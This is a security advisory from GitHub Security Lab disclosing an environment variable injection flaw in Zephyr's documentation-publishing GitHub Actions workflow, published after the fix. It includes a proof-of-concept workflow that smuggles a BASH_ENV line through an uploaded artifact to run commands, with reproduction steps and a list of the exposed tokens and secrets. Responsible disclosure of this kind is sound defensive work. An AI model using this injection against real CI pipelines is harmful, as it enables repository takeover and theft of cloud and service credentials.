Coordinated Disclosure Timeline

  • 2024-10-16: Reported via GitHub’s Private Vulnerability Reporting (PVR).
  • 2024-10-29: Fix is released

Summary

Zephyr doc-publish-pr.yml workflow is vulnerable to environment variable injection which may allow an attacker to leak secrets and gain write access to the repository.

Project

Zephyr

Tested Version

Latest commit at the time of reporting.

Details

Environment Variable Injection in doc-publish-pr.yml workflow (GHSL-2024-253)

The doc-publish-pr.yml workflow is triggered when a workflow called “Documentation Build” finishes.

on:
  workflow_run:
    workflows: ["Documentation Build"]
    types:
    - completed

An attacker may create a pull request that modifies the triggering “Documentation Build” workflow and uploads arbitrary artifacts before triggering the Vulnerable workflow. The job doc-publish gets executed if github.repository == 'zephyrproject-rtos/zephyr' but this condition is always true in the context of a workflow_run triggered workflow since it runs in the context of the default branch so it offers no protection.

jobs:
  doc-publish:
    name: Publish Documentation
    runs-on: ubuntu-22.04
    if: |
      github.event.workflow_run.event == 'pull_request' &&
      github.event.workflow_run.conclusion == 'success' &&
      github.repository == 'zephyrproject-rtos/zephyr'

The workflow then runs “Download artifacts” job which downloads the artifacts from the triggering workflow:

    - name: Download artifacts
      uses: dawidd6/action-download-artifact@v6
      with:
        workflow: doc-build.yml
        run_id: ${{ github.event.workflow_run.id }}

The contents of the artifacts are assigned to the `` environment variable without validating that there is no new line characters that could be used to inject new environment variables:

    - name: Load PR number
      run: |
        echo "PR_NUM=$(<pr_num/pr_num)" >> $GITHUB_ENV

Since the contents of the artifact are not validated, an attacker may craft a malicious pr_num/pr_num file with multiple lines on it which will be used to set up new environment variables.

By injecting a new environment variable called BASH_ENV, an attacker will be able to run arbitrary code when the next run: step triggers.

Steps to reproduce

  • Fork the zephyrproject-rtos/zephyr repo.
  • Clone your fork: gh repo clone pwntester/zephyr
  • Create a new branch: git checkout -b poc
  • Modify the .github/workflows/doc-publish-pr.yml to have the following contents:
name: Documentation Build

on:
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - run: |
          cat << 'EOF' > pr_num
          1337
          BASH_ENV="$(id 1>&2)"
          EOF
      - run: |
          cat pr_num
      - name: Upload runtime versions
        uses: actions/upload-artifact@v3
        with:
          name: pr_num
          path: pr_num
  • Commit the change to your branch: git add . ; git commit -m "Add Payload"
  • Create a Pull Request from your poc branch to zephyrproject-rtos/zephyr
  • Watch the execution of Documentation Build
  • When it finishes, watch the execution of Documentation Publish (Pull Request).
  • Watch the output of the Validate PR number step. The first line should be the output of the id command:
    uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)
    

Impact

The workflow runs in the context of a full-write GITHUB_TOKEN token:

https://github.com/zephyrproject-rtos/zephyr/actions/runs/11123277587/job/30906392344#step:1:16

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

In addition, at least the following secrets would become available to the attacker since they are available to the repo:

  • secrets.ZB_GITHUB_TOKEN
  • secrets.AWS_TESTING_SECRET_ACCESS_KEY
  • secrets.AWS_BUILDS_ZEPHYR_PR_SECRET_ACCESS_KEY
  • secrets.CODECOV_TOKEN
  • secrets.AWS_DOCS_SECRET_ACCESS_KEY
  • secrets.AWS_BUILDS_ZEPHYR_BUG_SNAPSHOT_SECRET_ACCESS_KEY
  • secrets.ELASTICSEARCH_KEY

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-253 in any communication regarding this issue.